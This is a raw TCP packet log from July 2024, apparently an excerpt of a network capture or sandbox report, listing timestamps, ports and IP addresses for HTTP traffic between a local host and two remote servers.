Jul 26, 2024 08:57:54.704555035 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.704751968 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.706603050 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.706620932 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.706631899 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.706666946 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.706691027 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.706753969 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.706764936 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.706774950 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.706787109 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.706798077 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.706947088 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.707129002 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.707139969 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.707149982 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.707160950 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.707170963 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.707181931 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.707181931 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.707206011 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.707441092 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.707984924 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.708003998 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.708013058 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.708043098 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.708077908 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.708090067 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.708216906 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.708312035 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.708420038 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.708456993 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.708508015 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.708519936 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.708616972 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.708633900 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.708640099 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.708641052 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.708657026 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.708728075 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.708772898 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.708784103 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.708795071 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.708806038 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.708863974 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.708884954 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.708897114 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.708900928 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.708909035 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.708914042 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.709081888 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.709367990 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.709381104 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.709393024 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.709395885 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.709404945 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.709418058 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.709559917 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.709570885 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.709582090 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.709590912 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.709606886 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.709618092 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.709628105 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.709636927 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.709646940 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:54.710586071 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.710926056 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.728332996 CEST	49759	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:54.728641987 CEST	49763	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:54.734184027 CEST	80	49763	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:54.734267950 CEST	49763	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:54.734452963 CEST	49763	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:54.735030890 CEST	80	49759	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:54.735084057 CEST	49759	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:54.739916086 CEST	80	49763	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:54.907939911 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:54.912897110 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.086505890 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.086565971 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.086576939 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.086581945 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.086589098 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.086625099 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.086632967 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.086644888 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.086656094 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.086680889 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.086724997 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.086777925 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.086788893 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.086802006 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.086813927 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.086854935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.086955070 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.086966991 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087050915 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087063074 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087141991 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087152958 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087165117 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087174892 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087187052 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087265015 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087362051 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087376118 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087387085 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087397099 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087408066 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087419033 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087584019 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087595940 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087606907 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087616920 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087627888 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087698936 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087750912 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087763071 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087847948 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087858915 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087872028 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.087883949 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088172913 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088184118 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088195086 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088206053 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088217020 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088227987 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088238955 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088248968 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088259935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088303089 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088320971 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088406086 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088416100 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088417053 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.088459969 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.088514090 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.088530064 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088540077 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088551998 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088565111 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088576078 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088699102 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088709116 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088720083 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088728905 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.088732004 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088762045 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.088798046 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.088933945 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088944912 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088956118 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088967085 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088978052 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088988066 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.088999033 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089009047 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089020967 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089030027 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089092970 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.089243889 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.089452982 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089466095 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089483023 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089493036 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089503050 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089512110 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.089514971 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089524984 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089565992 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.089725971 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089736938 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089747906 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089759111 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089770079 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089780092 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.089781046 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089792967 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089808941 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.089809895 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089823008 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089833975 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089844942 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089854956 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089855909 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.089864969 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.089867115 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089879990 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089890957 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.089909077 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.089937925 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.090426922 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.090441942 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.090452909 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.090462923 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.090473890 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.090482950 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.090483904 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.090497017 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.090507030 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.090513945 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.090517998 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.090528965 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.090538979 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.090545893 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.090550900 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.090579987 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.090606928 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.090959072 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.090970039 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.090981007 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.091013908 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.091056108 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.091056108 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.091068983 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.091080904 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.091090918 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.091099024 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.091103077 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.091115952 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.091126919 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.091129065 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.091137886 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.091180086 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.177825928 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.177843094 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.177855968 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.177867889 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.177879095 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.177891016 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.177932024 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.177962065 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.177973986 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.177985907 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178097010 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.178107023 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178118944 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178129911 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178141117 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178152084 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178163052 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178173065 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178205013 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.178217888 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.178236961 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178247929 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178257942 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178297043 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:55.178400040 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178411007 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178421021 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178431034 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178442001 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178452969 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178462982 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178473949 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178484917 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178494930 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178505898 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178750992 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178761005 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178771973 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178781986 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178792953 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178802967 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178812981 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178822994 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178834915 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178843975 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178924084 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178963900 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.178975105 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179069996 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179080963 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179092884 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179104090 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179152966 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179168940 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179179907 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179192066 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179285049 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179295063 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179305077 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179315090 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179326057 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179336071 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179346085 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179367065 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179449081 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179461002 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179790020 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179800987 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179811001 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179827929 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179840088 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179850101 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179861069 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179872036 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179882050 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179893017 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179909945 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179919958 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179930925 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179940939 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179950953 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.179970026 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180088997 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180099964 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180110931 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180121899 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180133104 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180144072 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180234909 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180247068 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180258036 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180269003 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180280924 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180336952 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180349112 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180360079 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180371046 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180381060 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180393934 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180406094 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180417061 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180687904 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180699110 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180710077 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180720091 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180731058 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180741072 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:55.180751085 CEST	80	49756	85.28.47.31	192.168.2.7
